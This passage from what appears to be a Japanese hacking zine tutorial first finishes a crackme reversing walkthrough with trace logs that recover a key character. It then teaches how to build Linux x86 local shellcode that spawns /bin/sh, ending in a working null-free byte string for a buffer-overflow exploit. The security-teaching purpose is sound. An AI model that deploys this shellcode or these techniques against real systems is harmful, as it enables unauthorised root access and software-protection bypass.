00413E49 Main JNZ SHORT FSC_Leve.00413E4C 00413E4C Main MOV BYTE PTR DS:[EBX+64],AL 0040ECD2 Main AND BYTE PTR DS:[EBX+64],1 ; この行と、その次の命令でフラグを1の場合は0、 0040ECD9 Main XOR BYTE PTR DS:[EBX+64],1 ; 0の場合は1に変換する 0040ECE0 Main JMP FSC_Leve.0040EF95 0040EF95 Main MOV DWORD PTR DS:[EBX+78],0 0041417B Main MOV EAX,DWORD PTR DS:[EBX+8] ; EAX=00162E38 00414181 Main ADD DWORD PTR DS:[EBX+78],EAX 0040FCF9 Main MOV AL,BYTE PTR DS:[EBX+64] ; EAX=00162E01 0040FCFF Main MOV ECX,DWORD PTR DS:[EBX+78] ; ECX=00162E38 0040FD05 Main MOV BYTE PTR DS:[ECX],AL 00414717 Main MOV DWORD PTR DS:[EBX+78],0 00414771 Main MOV EAX,DWORD PTR DS:[EBX+8] ; EAX=00162E38 00414777 Main ADD DWORD PTR DS:[EBX+78],EAX 0040F049 Main MOV EAX,DWORD PTR DS:[EBX+78] 0040F04F Main MOV EAX,DWORD PTR DS:[EAX] ; EAX=00000001 0040F051 Main MOV DWORD PTR DS:[EBX+64],EAX 0040ECBB Main CMP DWORD PTR DS:[EBX+64],0 ; フラグがたっていない場合は40ECD2-9で1に反転する 0040ECC5 Main JE SHORT FSC_Leve.0040ECCC ; のでこのJEではJMPせずに、次の命令へ進み、 0040ECC7 Main JMP FSC_Leve.00414711 ; 終端チェックループの最初に戻る -----  それに対し、入力文字がなくなり、終端文字が出てきた場合は、下記のように 40ECBBの[EBX+64]が0になるため、40ECC5のJE命令で40ECCCへジャンプし、次の処 理へと進みます。 ----- 入力文字列が終端文字(=NULL)だった場合のトレースログ 00413E49 Main JNZ SHORT FSC_Leve.00413E4C 00413E4B Main INC EAX ; EAX=00000001 00413E4C Main MOV BYTE PTR DS:[EBX+64],AL 0040ECD2 Main AND BYTE PTR DS:[EBX+64],1 ; この行と、その次の命令でフラグを1の場合は0、 0040ECD9 Main XOR BYTE PTR DS:[EBX+64],1 ; 0の場合は1に変換する 0040EF95 Main MOV DWORD PTR DS:[EBX+78],0 0041417B Main MOV EAX,DWORD PTR DS:[EBX+8] ; EAX=00162E38 00414181 Main ADD DWORD PTR DS:[EBX+78],EAX 0040FCF9 Main MOV AL,BYTE PTR DS:[EBX+64] ; EAX=00162E00 0040FCFF Main MOV ECX,DWORD PTR DS:[EBX+78] ; ECX=00162E38 0040FD05 Main MOV BYTE PTR DS:[ECX],AL 00414717 Main MOV DWORD PTR DS:[EBX+78],0 00414771 Main MOV EAX,DWORD PTR DS:[EBX+8] ; EAX=00162E38 00414777 Main ADD DWORD PTR DS:[EBX+78],EAX 0040F049 Main MOV EAX,DWORD PTR DS:[EBX+78] 0040F04F Main MOV EAX,DWORD PTR DS:[EAX] ; EAX=00000000 0040F051 Main MOV DWORD PTR DS:[EBX+64],EAX 0040ECBB Main CMP DWORD PTR DS:[EBX+64],0 ; 0(入力文字が終端文字)だった場合は、 0040ECC5 Main JE SHORT FSC_Leve.0040ECCC ; 40ECCCにJMPする 0040ECCC Main JMP FSC_Leve.0040E282 ; ループを抜け、次の場所へJMP -----  ここからさらにトレースログを追っていくと、下記のようなコードが実行され ていることがわかります。 ----- 入力文字数チェック? 0040E262 Main MOV DWORD PTR DS:[EBX+78],0 0040FDDD Main MOV EAX,DWORD PTR DS:[EBX+8] ; EAX=00162C24 0040FDE3 Main ADD DWORD PTR DS:[EBX+78],EAX 0041165A Main MOV EAX,DWORD PTR DS:[EBX+78] 00411660 Main MOV EAX,DWORD PTR DS:[EAX] ; EAX=00000008 -> 入力文字数 00411662 Main MOV DWORD PTR DS:[EBX+64],EAX 00411F84 Main MOV DWORD PTR DS:[EBX+78],4 00413E8E Main MOV EAX,DWORD PTR DS:[EBX+8] ; EAX=00162C24 00413E94 Main ADD DWORD PTR DS:[EBX+78],EAX 0040FAD7 Main MOV EAX,DWORD PTR DS:[EBX+78] ; EAX=00162C28 0040FADD Main MOV EAX,DWORD PTR DS:[EAX] ; EAX=00000010 0040FADF Main MOV DWORD PTR DS:[EBX+68],EAX 00413D6C Main XOR EAX,EAX ; EAX=00000000 00413D6E Main MOV ECX,DWORD PTR DS:[EBX+68] ; ECX=00000010 -> 正当な入力文字数? 00413D74 Main CMP DWORD PTR DS:[EBX+64],ECX 00413D7A Main JNZ SHORT FSC_Leve.00413D7D 00413D7D Main MOV DWORD PTR DS:[EBX+64],EAX 00410739 Main AND DWORD PTR DS:[EBX+64],1 00410743 Main XOR DWORD PTR DS:[EBX+64],1 0040E622 Main MOV DWORD PTR DS:[EBX+78],0 -----  なお、ここでは省略していますが、前述のループでは[EBX+8]+200に文字数をカ ウントして、保存しています。それが411660の時点でEAXに入るので、おそらく41 3D74で比較している内容は文字数と見て間違いなさそうです。よって今までは仮 のKeyとして、8文字しか与えていませんでしたが次回から16進で0x10、つまり16 文字与えて変化をみてみたいと思います。 ■0x06.) 1文字目の特定  では、413D74にブレークポイントを設定して、Ctrl+F2でプロセスをリスタート し、F9で実行後、Keyを「0123456789abcdef」にしてどのようになるかをみましょ う。その際、それ以前に設定したブレークポイントはDisableに設定してしまって かまいません。  413D74で停止したことを確認したら、ECXの値と、[EBX+64]を比べてみてくださ い。0x10で一致していることがわかると思います。では、ここからCtrl+F12でト レースを取って、処理を追っていきます。正当な文字列と必ず比較する部分があ るはずであり、そこにはCMP命令など比較する処理が存在するはずです。そこで、 トレースログからCMPを抜き出したところ、下記5点ありました。 ----- トレースログからCMPを抜き出し 0040FAAC Main CMP DWORD PTR DS:[EBX+64],0 00412896 Main CMP BYTE PTR DS:[EBX+64],CL 0040E7F3 Main CMP DWORD PTR DS:[EBX+64],0 004132D0 Main CMP DWORD PTR DS:[EBX+64],ECX 00412758 Main CMP DWORD PTR DS:[EBX+64],0 -----  そのうち、即値"0"と比較しているものは、おそらく別の処理であると考えられ るので、412896か412758が怪しいといえそうです。そこで、それらの周辺を確認 してみます。 ----- 412896周辺のトレースログ 004116C8 Main MOV DWORD PTR DS:[EBX+78],0 0040F9F0 Main MOV EAX,DWORD PTR DS:[EBX+8] ; EAX=00162C24 0040F9F6 Main ADD DWORD PTR DS:[EBX+78],EAX 004141CB Main MOV EAX,DWORD PTR DS:[EBX+78] 004141D1 Main MOV AL,BYTE PTR DS:[EAX] ; EAX=00162C30 -> 入力文字の1文字目"0" 004141D3 Main MOV BYTE PTR DS:[EBX+64],AL 0040EA55 Main MOV DWORD PTR DS:[EBX+78],4 0040F2AB Main MOV EAX,DWORD PTR DS:[EBX+8] ; EAX=00162C24 0040F2B1 Main ADD DWORD PTR DS:[EBX+78],EAX 0040E43A Main MOV EAX,DWORD PTR DS:[EBX+78] ; EAX=00162C28 0040E440 Main MOV AL,BYTE PTR DS:[EAX] ; EAX=00162C53 -> 本当のKeyの1文字目"S" 0040E442 Main MOV BYTE PTR DS:[EBX+68],AL 0041288E Main XOR EAX,EAX ; EAX=00000000 00412890 Main MOV CL,BYTE PTR DS:[EBX+68] ; ECX=00162C53 00412896 Main CMP BYTE PTR DS:[EBX+64],CL ; "S"と入力文字を比較している 0041289C Main JNZ SHORT FSC_Leve.0041289F -----  いきなりヒットしました。前述のループと同じようなルーチンで、Byte単位で 文字列の比較を行なっているようです。4141D1で仮に1文字目として与えた0が出 現して、それを[EBX+64]に入れています。また40E440で本当のKeyであると思われ るSが出現し、それを[EBX+68]に入れ、412896でそれらの文字を比較しています。 ということは1文字目は"S"になるので、次は412896にブレークポイントを設定後 Ctrl+F2でプロセスを再起動し、「S123456789abcdef」を与えて、412896でブレー クした時点の状態を確認してみてください。今度は"S"同士を比較しているのがわ かるはずです。こうして1文字目がSであることを求めることができました。 ■0x07.) 所感  Level3はこれだけ長い説明をしながら、まだ1文字目しか説明できていません。 それだけ、私にとってLevel3は難問であったという証拠です(それとは別に私の 説明が冗長すぎるという理由もありますが・・・)。残りは次回以降に説明をし ていきたいと思います。ただ、多少変化球はあるものの、1文字目を発見した方法 と大きな違いはないので、ご自身でどんどん進めてみると、勉強になってよいか もしれません。  それでは、また。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第4章: はじめてのハッキング 〜ローカルシェルコードの開発〜 --- 著者:Defolos x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  前回はバッファオーバフローという脆弱性を利用して権限の奪取を体験しても らいました。権限奪取はシェルの起動によって行え、それを実現するプログラム がシェルコードだと述べました。しかし、前回はシェルコードをすでに開発した ものとして利用しただけでした。そこで、今回はシェルコードをどのようにして 開発するか説明します。  シェルコードはネットで探せば様々なOSの様々なバージョンに対応した様々な 動作を行うものが公開されています。それらを適宜探してきて利用すれば、確か にシェルコードの開発などできなくても問題にはなりません。しかし、まったく 知られていないOSを攻撃する場合には自分で開発しなければなりませんし、何よ り自分で作れる知識があればちょっとした応用が容易になります。 ■0x02.) シェルコードとは  シェルコード(Shell code)はeggとも呼ばれる、シェルを起動するごく小さな プログラムです。Linuxはシェルによってユーザからの命令をカーネルに伝えると 述べました。ゆえにシェルをroot権限で起動できれば、コンピュータのコントロ ール権を得られるわけですが、このシェルを起動するコードをシェルコードと呼 びます。  シェルコードは大きく分けて二つの種類があります。 ●ローカルシェルコード  ローカルつまり同じコンピュータ内での権限奪取に用いられるシェルコードで す。前回行った侵入のように、同じコンピュータ上でシェルを起動する時に使い ます。比較的開発しやすく、シェル起動の実現方法も一定になりやすいです。今 回もこちらのローカルシェルコードを開発します。 ●リモートシェルコード  リモートつまりまったく関係の無いコンピュータをネットワークを通して権限 奪取はする時に利用されるシェルコードです。シェルを起動するという基本的な 動作は変わりませんが、ネットワークを介することを前提としています。そのた め、シェルを起動したシステムからの出力をネットワークに流し、ネットワーク からの入力をシェルが受け付ける処理を追加します。 ■0x03.) 開発手順  シェルコードを開発する手順は次のように5つのステップに分けられます。 1:アタック対象OSの特定 2:C言語による記述 3:アセンブリ化 4:バイトコードへの変換 5:動作テスト  これから、この5つのステップについて詳しく確認することにします。 ■0x04.) アタック対象OSの特定  対象となるシステムのOSを特定する方法には種々あります。例として次に3つの 方法を挙げます。それぞれの具体的な方法は多くの良質なドキュメントが公開さ れていますので、説明をそちらに譲りたいと思います。 1:Telnetで接続してバナーに書かれている情報を信用する 2:nmapなどのポートスキャンツールを利用してポートの空き具合からOSを推察する 3:直接システム管理者に電話をかけて情報を聞き出すソーシャルエンジニアリング  それでは、なぜアタック対象のOSを知る必要があるのかと言いますと、OSによ ってシステムコールの仕様が違うからです。システムコールとはWizard Bible v ol.31でも述べましたが、OSが提供する機能をユーザが利用しやすいようなインタ フェースとしたものです。Linux、BSD、Solalis、Windowsはそれぞれシステムコ ールの呼び出し方やシステムコール番号が異なっています。具体的には、Linuxで はeaxにシステムコール番号、ebx以後にシステムコールへ渡す引数を格納した後 に割り込みを発生させてシステムコールを呼ぶのに対し、BSDではスタックにシス テムコール番号、引数1、引数2...という順序でデータを格納し、割り込みを発生 させることでシステムコールを呼びます。また、システムコール番号においても Linuxでシステムコール番号39番はmkdir()であるのに対し、BSDでは同じ39番でも getppid()に割り当てられています。ゆえにシェルコードを作る際には対象システ ムがどのOSを使ってるのか知る必要があるのです。 ■0x05.) C言語でのプログラム  シェルコードをC言語で表現すると、第一回で紹介したプログラムに似たプログ ラムとなります。以前はプログラムを呼び出す関数にexecle()を使いましたが、 今回はexecve()を利用する点で異なります。例を挙げると次のようなプログラムです。 ----- shellcode.c #include void main(int argc, char* argv[]){ const char *argv[] = {"/bin/sh", '\0'}; const char *envp[] = '\0'; execve("/bin/sh", argv, envp); } -----  さて、このプログラムの解説をする前に、ある疑問点を解決しましょう。おそ らくこのプログラムを見て、「execve()はプログラムを呼び出す関数だというの はわかったがexecl()と変わりないじゃないか。なんでわざわざexecve()を使うん だ」という疑問が沸いたことと思います。確かに、関数の骨子は双方とも他プロ グラムを起動するという点で同じですが、execl()がライブラリ関数であるのに対 して、execve()はシステムコールであるという違いが存在しています。 ●ライブラリ関数とシステムコール  この2つは非常に似た概念であり、混同されがちなのですが、処理レベルに違い があります。システムコールはOSが用意した機能を呼び出すのに対し、ライブラ リ関数はシステムコールの組み合わせのような物です。例えばputs()という文字 列を1行出力するライブラリ関数がありますが、この関数の内部ではwriteという 1文字を出力するシステムコールが利用されているのです。writeというのは文字 をディスプレイに出力するのかプリンタに出力するのかを指定しなければいけな かったり、あらかじめ出力する文字数を指定しなければいけなかったりと面倒臭 いものです。次にputsの実装例の一部を挙げますが、1行表示するだけなのに長い コードとなってしまっています。 ----- int i; char *string; while( *(string+i) != '' || *(string+i) != EOF){ write(0, *(string+i), 1); i++; } -----  しかも、1行をディスプレイに表示するというのはよく使う機能なので、プログ ラマからするともっと楽にこの機能を使いたいと思うでしょう。そこで、writeの ような低級の処理をループさせたり、予め決められた定数で呼び出したりして、 1行表示という高度な機能を実現しているわけです。また、ライブラリ関数はOSの インストール時に先だってコンパイルされ、機械語コードとして保存されている という点でも相違があります。以前お話したとおり、コンパイルの過程にはリン クという作業が含まれていました。この時に機械語として保存されているprintf やputsなどのライブラリ関数を持ってきてひっつけることでまともに動くプログ ラムが完成するわけですが、このようにあらかじめ機械語にしておくことでコン パイル時間を大幅に短縮しているのです。  同様にexecle()という関数も、その内部ではexecve()というシステムコールを 呼び出しています。execle()の場合は、execve()が呼び出したプログラムから制 御が戻ってこない点を解決するために、内部で色々な処理をしています。 ●プログラムの動作  execve()のプロトタイプはManpageを参照すると次のようになっています。 ----- #include int execve(const char *filename, char *const argv[], char *const envp[]); -----  つまり、第一引数には呼び出すプログラムへのパスを、第二引数には呼び出す プログラムに渡す引数へのアドレスのアドレスを、第三引数には呼び出すプログ ラムへ渡す環境変数へのアドレスのアドレスを指定します。今回はシェルを呼び 出すので、プログラムへのパスは「/bin/sh」を指定します。シェルへの引数には、 慣習としてそのプログラム自身の名前を指定することが多いので、ここでもそれ に習って「/bin/sh」を指定しています。また、環境変数は特に設定する必要は無 いのでNULLを指定します。  最後にexecve()を実行するわけですが、execve()はプログラムを呼び出したら それっきり呼び出し元へ制御を返すことはないので、これまでの決まり文句だっ たreturnはつけなくてもかまいません。 ■0x06.) アセンブリ化  以前、アセンブリでhello worldを表示するプログラムを紹介しましたが、今回 は上のC言語のプログラムをアセンブリで書き直します。アセンブリの基本的な考 え方は前回のレポートで紹介した通りですが、今回はいくつか新しい命令やシス テムコールが出てきます。 ●とりあえずアセンブリ化  さて、今回はexecve()を利用しますので、/usr/src/linux-2.4.18/include/asm /unistd.hの中からexecve()を探します。ファイルをアップロードしておきました のでhttp://ruffnex.oc.to/defolos/text1/hack/unistd.hからダウンロードして ください。 ----- /usr/src/linux-2.4.18/include/asm/unistd.h #ifndef _ASM_I386_UNISTD_H_ #define _ASM_I386_UNISTD_H_ /* * This file contains the system call numbers. */ #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 ... -----  システムコール番号は11番だとわかりました。ここで一度、execleも探してみ てください。たぶん見つからないと思います。実は、アセンブリで前回と同じよ うな方法で利用できるのは、低レベルな処理を行うシステムコールだけなのです (printf()などのライブラリ関数は別の方法で利用します)。わざわざexecve() で同じ動作をするように書き換えた理由はここにあります。  execve()のシステムコール番号は11ですので、eaxには11を入れればよいことが わかりました。次に引き数を考えてみましょう。起動したいプログラムへのパス のアドレスをebxに、文字列へのアドレスのアドレスをecx,edxそれぞれに入れな ければならないのですが、文字列へのアドレスとかアドレスのアドレスとかは何 でしょうか。ぱっと聞くと違和感のある言葉ですが、次のような状況だと思って ください。 0x01 0x02 0x03 0x04 0x05 +-----------+-----------+-----------+-----------+-----------+---- | 0x03 | | 0x05 | | hello! | +-----------+-----------+-----------+-----------+-----------+---- ↓ ↑ ↓ ↑ ^---------------------^ ^---------------------^  上図では、0x05番地に「hello!」という文字列が入っています。一方、0x01番 地には「hello!」へのアドレスのアドレスが入っています。「hello!」のアドレ スは0x03番地に入れられていますが、0x01番地にはその0x03が入れられています。 つまり、0x03番地からみれば、0x03番地には文字列へのアドレスが、0x01番地か らみれば0x01には文字列へのアドレスのアドレスが入っていることになります。  今回はebxには文字列へのアドレス、つまり上図の0x03番地のような状況を実現 します。ecxには習慣としてパスと同じものを与えますので、0x01番地のような状 況を実現すれば良いわけです。edxにはNULLを指定すればOKです。先程の図を具体 的なレジスタなどを使って書き直すと次のようになります。 eax ebx ecx edx +-----------+ +-----------+ +-----------+ +-----------+ | 11 | | 0x03 | | 0x01 | | 00 | +-----------+ +-----------+ +-----------+ +-----------+ 0x01 0x02 0x03 0x04 0x05 +-----------+-----------+-----------+-----------+-----------+---- | 0x03 | | 0x05 | | /bin/sh | +-----------+-----------+-----------+-----------+-----------+---- ↓ ↑ ↓ ↑ ^---------------------^ ^---------------------^  上図のようなことを実現しようとすると、まず文字列が入っている場所のアド レスを取得してきて、それを0x03番地に格納しなければなりませんね。これには 新しい命令を用いなければなりません。それがlea命令です。 ○lea命令  lea命令はアドレスを取得する命令です。「lea 元のアドレス,格納したい場所 」のように利用します。具体的には「lea 2(%eax), %ebx」のように使います。e axには「hello!」という文字列へのアドレスが入っているものとします。lea命令 はオフセットが使えますので、この場合、「hello!」の先頭アドレス+2の場所の アドレスがebxに格納されます。もちろん、eaxには0xffff1021のような数値が入 っていますので、2を足して0xffff1023にしたものを改めてebxに入れてもいいの ですが、これだと処理が繁雑になってしまいます。アドレスを格納することを明 示的にするためにlea命令を使うべきだと言えます。 ○叩き台コード  引数に何を指定すべきかを説明し、lea命令を知った今、とりあえず「■0x05.) C言語でのプログラム」で紹介したプログラムをアセンブリ化することができま す。次のようなソースが書けると思います。 ----- shellcode_test.s .data msg: .string "/bin/sh\0" addr: .string "AAAA\0" .text .globl main main: movl $11, %eax movl $msg, %ebx movl %ebx, addr leal addr, %ecx movl $0, %edx int $0x80 ret -----  ちょっとわかりにくいのは「movl $msg,%ebx、movl %ebx,addr」の部分だと思 います。これは、msgラベルつまり「/bin/sh」の先頭アドレスを取得しebxに格納 します。その後、addrラベルの場所にそのアドレスを書き込みます。その後はed xをゼロクリアし、割り込みを発生させてexecve()を呼んでいます。  このソースを機械語に翻訳すれば、確かに動きます。しかし、これはスタンド アローンにおいて実効可能ではあるのですが、残念ながら私達が目指しているex ploitへ埋め込んで、プログラムの処理の流れを変えて不正に実行できるようには なっていないのです。試しに、機械語に翻訳したものを次に掲載します。ちなみ に文字列データはどこか他の領域に置かれています。 ----- b8 0b 00 00 00 bb 38 95 04 08 89 1d 41 95 04 08 8d 0d 41 95 04 08 ba 00 00 00 00 cd 80 c3 -----  どのようにして機械語に翻訳するかは次の章で解説しますが、これを前回のEx ploitにセットして実行しても、おそらくシェルは立ち上がりません。ですので、 これをexploitで利用できるように変更しましょう。 ●exploit埋め込み用に書き換え  現在のところ、問題となる点は2点あります。ひとつは、データセグメントを利 用してしまっていることです。もうひとつは機械語に変換したとき、NULL(16進 数では0x00)が含まれてしまう点です。それでは、この2点について詳しくみてい きましょう。 ○他セグメントを使わないようにする  Wizard Bible vol.34(http://wizardbible.org/34/34.txt)でメモリは5つの 専門領域に区分されていると述べました。普通のプログラムであれば、手順をテ キストセグメントに、定数データをデータセグメントに置くのが一般的です。し かし、シェルコードはスタックセグメントしか利用できません。すなわち、デー タセグメントに文字列データを格納するようにしてはマズイのです。データをス タックに置き、どうにかしてそのデータの先頭アドレスを知る必要があります。  そこで、call/jmpテクニックと呼ばれる手法を用います。callとjmpは処理の流 れを変える命令です。jmpはC言語で言うところのgoto文で、ラベルの場所に処理 を移して戻ってきません。一方、call命令は関数呼び出しに相当します。飛んだ 先の処理が終われば元の位置に戻ってきます。具体的には、call命令はスタック に次に実行されるはずだったアドレスを積みます。それから制御をラベルのアド レスに移します。移動先の処理が終われば変数等はスタックから取り除かれるの で、最上部に先程のアドレスが出てきます。これを次の実行すべきアドレスに設 定すれば、関数呼び出しのような挙動を行うことができるのです。call命令の「 次のアドレスをスタックに積む」というのがキーポイントです。callで飛んだ先 の一番初めの命令でPOPしてやれば、そのアドレスを取得することができますので、 文字列の取得は次のようにして行えます。 ----- main: jmp ONE TWO: popl %eax ONE: call TWO .string "Hello" -----  実行されるといきなりjmp命令でONE:の場所に飛ばされます。その直後にcall命 令でjmp ONEの直後に飛ばされますが、call命令ですのでスタックにはcall自身の 次のアドレス、つまり「Hello」の先頭アドレスが積まれます。callで飛んだ先で popをしているので、eaxに「Hello」の先頭アドレスが格納されます。 ○NULLバイトの除去  もうひとつの問題はNULLバイトが含まれてしまっている点です。NULLバイトと は機械語で00と表現される数値のことです(01、40、0fなどの両方が0になってな いものはNULLバイトではありません)。なぜこれがコード中に存在していると問 題になるのかといいますと、NULLはstrcpy()やgets()などで文字列の終端を表す 特殊な記号として用いられているからです。Wizard Bible vol.36で紹介したよう に、BOFの脆弱性を突く多くのExploitはstrcpy()を使って、「NOPスレッド、シェ ルコード、戻りアドレス」から構成される文字列を送り込んでメモリを侵します。 +--------------------+--------------------------+------------+ | NOP | shellcode | ret | +--------------------+--------------------------+------------+  つまり、シェルコード中にNULLが含まれていると、strcpy()がここまでが文字 列なのだと勘違いしてしまい、シェルコードの残りの部分やretをメモリにコピー することができなくなってしまうのです。 +--------------------+--------------------------+------------+ | NOP | shellcode ...00... | ret | +--------------------+--------------------------+------------+ <----------コピーされる領域-----------><---無視される領域--->  retを書き込むことができないということは、そもそも待避された戻りアドレス を偽の戻りアドレスで上書きできないということであり、シェルコード自体に制 御が移りません。万が一移ったとしても、シェルコードは途中で終わってしまっ ているのでexecve()が呼び出されることはありません。結果としてシェルは起動 できずに終わるわけです。  もちろん、strcpy()などのNULLを文字列の終端と見なすような関数を使わずに メモリの上書きができれば、NULLをシェルコード中に含めても問題はありません。 例えば、フォーマットストリング攻撃はそういった類の関数を使わないのでNULL を含めたシェルコードでも問題が起きません。とはいえ、多くのExploitに対応し たシェルコードを書けば後々の再利用が可能ですので、どうにかしてNULLを消す ようにがんばりましょう。 ・コード中のNULLの除去  機械語に翻訳した時にNULLが混入する一番の原因は、コード中に利用している 0です。例えば前のコードでは「movl $0,%edx」で0を使っています。数字の0をコ ードの中に直接書かないようにすれば、この問題は解決します。  とはいえ、レジスタに0を設定しなくてはシェルコードは作れません。そこで、 「0」という文字を使わないようにしてレジスタをゼロクリアすることを考えまし ょう。  これには論理演算を活用します。論理演算の中には排他的論理和(XOR)と呼ば れるものがあります。この演算の性質を利用することでゼロクリアが可能になり ます。なお、ここでは論理演算とはなにかについては割愛します。  XORの演算結果は同じ数値のときには0を、異なる数値の時には1をセットするこ とで得られます。例えば次のような場合です。 1110101101000101 xor 1000110111010001 -------------------- 0110011010010100  つまり、同じ数値同士をXOR演算にかければ0が得られるわけです。 1110101101000101 xor 1110101101000101 -------------------- 0000000000000000  アセンブリのコードでは「xorl %eax, %eax」のように記述することでeaxをゼ ロクリアできます。これでNULLバイトに関するひとつめの問題は解決しました。 実は後もうひとつ、NULLバイトに関して問題が残っています。 ・互換レジスタの埋め草問題  現在、レジスタ容量の主流は32ビットです(64ビットも民間に普及してきまし たが)。これはレジスタひとつの中に32ビットの情報を記憶できるということで すが、その昔はレジスタの一般的な容量は16や8ビットでした。システムというの は後方互換、つまり新しくしたシステムでも昔のものが動くように設計するのが 一般的です。CPUも例に漏れず16や8ビットのレジスタを想定したプログラムも動 くように設計されています。具体的には、32ビットあるレジスタの半分を昔の16 ビットレジスタと認識し、そのまた半分を8ビットレジスタと認識します。  これまでレジスタへのアクセスには「%eax」というような書き方をしてきまし たが、eaxというのは32ビットレジスタを表しているのです。eaxを半分にした16 ビットのうち、下位16ビットにアクセスするには「%ax」と指定します。さらにこ のaxを半分に分けて上位8ビットを「%ah」で、下位8ビットを「%al」でアクセス します。 32 16 0 +------------------------+------------------------+ +----------------------[eax]----------------------+ +----------[ax]----------+ +----[ah]----+----[al]---+  さて、今回eaxに格納している11という数値は2進数に直すと1011で、4ビットで 表現可能です。これを32ビットのレジスタに入れようとすると、代入の時に自動 的に先頭28ビットが0で埋められた値に変換されてしまいます。つまり「movl $1011, %eax」は勝手に「movl $00000000000000000000000000001011, %eax」という式に 変換されてしまうのです。見るからにNULLバイトがたくさん混入していますね。 ではこれを解決しましょう。  先程述べました通り、CPUは以前のプログラムと互換性を持つように設計されて います。axやalの実装がその最もたる例でしたが、この下位互換レジスタを活用 することで埋め草問題は解決します。  下位互換レジスタの中にalというものがありました。これはeaxの下位8ビット のことを指しますが、これに11を格納すれば問題は解決します。格納するレジス タにalを指定した場合は式が自動的に「movb $00001011, %al」というようになり ます。これでも先頭に0が埋められるのですが、16進数に直すと、前は「00 00 00 0B」とNULLバイトが3つ出現していたのに対し、今回は「0B」というようにNULL バイトは出現しません。  もうひとつ注意点があります。先程の式をよくご覧ください。以前はmovlと書 いていたものが、今回はmovbに変わっています。実はレジスタを操作する命令自 体も下位互換仕様のものが用意されているのです。例えば、axを操作する時には movの後にwをつけてmovw、ahやalを操作する時にはbをつけてmovbとします。一応、 l,w,bは省略できます。省略すると後のレジスタの種類によって補完されるのです が、できるだけつけた方がよいでしょう。 ●execve()の引き数データ  前のコードではexecve()への第一引き数と第二引き数を別のアドレスに設定し ていました。これはスタンドアロン用のプログラムであれば実現できるのですが、 今回のような使用目的には利用できません。そこで「/bin/sh」を確保しているメ モリの後に続けて第二引数用の文字列を設定します。 ffffb0 ffffb7 ----+---------------+----+--------+----+------- | / b i n / s h | 00 | ffffb0 | 00 | ----+---------------+----+--------+----+-------  これにはlea命令の所で紹介したオフセットを利用します。オフセットはlea以 外の命令でも使えます。ebxにffffb0が、eaxに0が入っているとすると、「movl %eax, 7(%ebx)」はffffb0+7の場所に0を入れるという意味になります。文字列の 終わりには0をいれて置かなければならないので、「/bin/sh」の直後に0を入まし た。同じように「movl %ebx, 8(%ebx)」とやればffffb0をffffb8の場所に入れる ことになります。  ここまでできれば、ebxには文字列のアドレスが入っていますし、ecxにebxの中 のアドレス+8のアドレスをleaで入ればexecve()の引き数が作れます。 ●できあがったコード  以上の問題点を解決したコードのサンプルを次に示します。 ----- shellcode.s .globl main main: jmp ONE TWO: popl %ebx xorl %eax, %eax movl %eax, 7(%ebx) movl %ebx, 8(%ebx) movl %eax, 12(%ebx) movb $11, %al leal 8(%ebx), %ecx leal 12(%ebx), %edx int $0x80 ONE: call TWO .string "/bin/sh" -----  それでは次章以降で、このコードを機械語に変換し、exploitに埋め込んで動作 させて見ましょう。 ■0x07.) バイトコードへの変換  バイトコードは機械語コードのことですが、ソースコードを機械語に変換する にはコンパイラを用います。アセンブリ言語はアセンブラというソフトで機械語 に変換しますが、以前紹介したgccはアセンブラも兼ねています。先ほどのコード にshellcode.sという名前をつけた場合には次のようにしてコンパイルします。 ----- defolos@glazheim:~$ gcc shellcode.s -----  これでa.outという名前で、先程のコードが機械語になりました。後はこのファ イルの中身を見れば良いわけですが、catコマンド等ではファイルの中身は文字で あると扱われるので見ることはできません。機械語としてファイルを閲覧するに は16進数エディタを用います。次のようにしてobjdumpと言う16進数エディタを利 用します。 ----- defolos@glazheim:~$ objdump -d ./a.out -----  かなりたくさん表示されたと思いますが、実際に必要なのは
以後90が現 れるまでの間です。ですので次のようにして
から30行を表示します。 ----- defolos@glazheim:~$ objdump -d a.out|grep \ -A 30 08048354
: 8048354: eb 16 jmp 804836c 08048356 : 8048356: 5b pop %ebx 8048357: 31 c0 xor %eax,%eax 8048359: 89 43 07 mov %eax,0x7(%ebx) 804835c: 89 5b 08 mov %ebx,0x8(%ebx) 804835f: 89 43 0c mov %eax,0xc(%ebx) 8048362: b0 0b mov $0xb,%al 8048364: 8d 4b 08 lea 0x8(%ebx),%ecx 8048367: 8d 53 0c lea 0xc(%ebx),%edx 804836a: cd 80 int $0x80 0804836c : 804836c: e8 e5 ff ff ff call 8048356 8048371: 2f das 8048372: 62 69 6e bound %ebp,0x6e(%ecx) 8048375: 2f das 8048376: 73 68 jae 80483e0 <__libc_csu_fini> ... -----  真ん中の欄の16進数のところだけを抜き出します。これがバイトコードです。 ----- eb 16 5b 31 c0 89 43 07 89 5b 08 89 43 0c b0 0b 8d 4b 08 8d 53 0c cd 80 e8 e5 ff ff ff 2f 62 69 6e 2f 73 68 -----  これを前回紹介したExploitのshellcode[]の部分に埋め込みます。C言語では16 進数の前には\xをつけないといけないので、次のようになります。 -----exploit.cの一部 char shellcode[]= "\xeb\x16\x5b\x31\xc0\x89\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; -----  後はこれを前回と同じようにコンパイルして実行すれば、bo-test.exeへ攻撃を しかけ、このシェルコードが実行されるわけです。 ■0x08.) 参考文献 ・Chris Anley, John Heasman and Felix Linder. The Shellcoder's Handbook Second Edition: Discovering and Exploiting Security Holes. Wiley Publishing, 2007. ・James C. Foster, Vitaly Osipov and Nish Bhalla. Buffer Overflow Attacks: DETECT, EXPLOIT, PREVENT. Syngress Publishing, 2005. ・Jon 